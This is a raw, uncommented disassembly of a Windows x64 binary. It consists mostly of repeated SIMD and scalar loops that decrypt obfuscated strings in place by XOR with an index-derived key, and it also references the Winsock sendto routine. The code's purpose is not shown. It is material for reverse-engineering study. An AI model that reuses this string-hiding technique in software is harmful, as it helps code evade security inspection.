pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
movdqa xmm3, xmmword [0x14029dc90]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x28]
xorps xmm3, xmm0
movq qword [rax + 0x28], xmm3
mov r8d, Ordinal_26
mov eax, r8d
lea r9, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x14001c7f0
mov rdx, r10
lea rcx, [rbp + 0x1b98]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1bb8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1bd8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x978]
lea rcx, [rbp - 0x2d]
call fcn.14002d720
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14001cb30
mov r8d, esi
cmp r14d, 2
jl 0x14001caf7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14001cb00
mov rdx, r10
lea rcx, [rbp + 0x1bf8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1c18]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1bd8]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1c38]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x54c8]
lea rcx, [rbp - 0x2c]
call fcn.14002d6f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001cce0
mov r8d, esi
cmp r14d, 2
jl 0x14001cc9b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001cbb0
cmp r8d, 0x21
jge 0x14001cce0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001ccb0
mov rdx, r10
lea rcx, [rbp + 0x1c58]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1c38]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5810]
lea rcx, [rbp - 0x2b]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001ce70
mov r8d, esi
cmp r14d, 2
jl 0x14001ce2b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001cd40
cmp r8d, 0x27
jge 0x14001ce70
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001ce40
mov rdx, r10
lea rcx, [rbp + 0x1c98]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1cb8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1c78]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1cb8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1c98]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1c58]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1c18]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1bf8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1bb8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1b98]
call fcn.1400079a0
lea rax, [rbp + 0x510]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x510]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5ab8]
lea rcx, [rbp - 0x2a]
call fcn.14002d7e0
mov r10, rax
cmp word [rax + 0x2c], 0
je 0x14001d1b4
mov r8d, esi
cmp r14d, 2
jl 0x14001d16f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x17
jl 0x14001d180
mov rdx, r10
lea rcx, [rbp + 0x1cd8]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1cf8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1d18]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x378]
lea rcx, [rbp - 0x29]
call fcn.14002d7b0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14001d460
mov r8d, esi
cmp r14d, 2
jl 0x14001d41e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14001d430
mov rdx, r10
lea rcx, [rbp + 0x1d38]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1d58]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1d18]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1d78]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x54a0]
lea rcx, [rbp - 0x28]
call fcn.14002d780
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001d610
mov r8d, esi
cmp r14d, 2
jl 0x14001d5cb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d4e0
cmp r8d, 0x21
jge 0x14001d610
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001d5e0
mov rdx, r10
lea rcx, [rbp + 0x1d98]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1d78]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x57e8]
lea rcx, [rbp - 0x27]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001d7a0
mov r8d, esi
cmp r14d, 2
jl 0x14001d75b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001d670
cmp r8d, 0x27
jge 0x14001d7a0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001d770
mov rdx, r10
lea rcx, [rbp + 0x1dd8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1df8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1db8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1df8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1dd8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1d98]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1d58]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1d38]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1cf8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1cd8]
call fcn.1400079a0
lea rax, [rbp + 0x528]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x528]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5bc0]
lea rcx, [rbp - 0x26]
call fcn.14002d870
mov r10, rax
cmp word [rax + 0x2e], 0
je 0x14001db3d
mov r8d, esi
cmp r14d, 2
jl 0x14001db09
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
